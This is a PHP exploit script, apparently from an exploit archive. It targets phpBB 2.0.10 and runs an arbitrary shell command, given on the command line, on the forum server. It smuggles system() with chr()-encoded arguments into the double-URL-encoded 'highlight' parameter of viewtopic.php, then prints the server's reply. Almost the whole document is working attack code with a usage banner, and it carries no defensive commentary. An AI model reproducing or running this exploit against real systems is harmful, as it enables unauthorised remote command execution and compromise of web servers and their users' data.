phpBB 2.0.10 execute command Exploits

#!/usr/bin/php -q
<?php
/*
# phpBB 2.0.10 execute command by pokleyzz <pokleyzz at scan-associates.net>
# 15th November 2004 : 4:04 a.m
#
# bug found by How Dark (*www.howdark.com) (1st October 2004)
#
# Requirement:
#
#    PHP 4.x with curl extension;
#
# ** Selamat Hari Raya **
*/

if (!(function_exists('curl_init'))) {
    echo "cURL extension required\n";
    exit;
}

if ($argv[2]){
    $url = $argv[1];
    $command = $argv[2];
}
else {
    echo "Usage: ".$argv[0]." <URL> <command> [topic id] [proxy]\n\n";
    echo "\tURL\t URL to phpnBB site (ex: *127.0.0.1/html)\n";
    echo "\tcommand\t command to execute on server (ex: 'ls -la')\n";
    echo "\ttopic_id\t topic id\n";
    echo "\tproxy\t optional proxy url (ex: *10.10.10.10:8080)\n";
    exit;
}
if ($argv[3])
    $topic = $argv[3];
else
    $topic = 1;

if ($argv[4])
    $proxy = $argv[4];


$cmd = str2chr($command);

$action = "/viewtopic.php?t=$topic&highlight=%2527%252esystem(".$cmd." )%252e%2527";       
$ch=curl_init();
if ($proxy){
    curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url.$action);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res=curl_exec ($ch);
curl_close ($ch);
echo $res;

function str2chr($str){

    for($i = 0;$i < strlen($str);$i++){
        $chr .= "chr(".ord($str{$i}).")";
        if ($i != strlen($str) -1)
             $chr .= "%252e";   
    }
    return $chr;
}
?>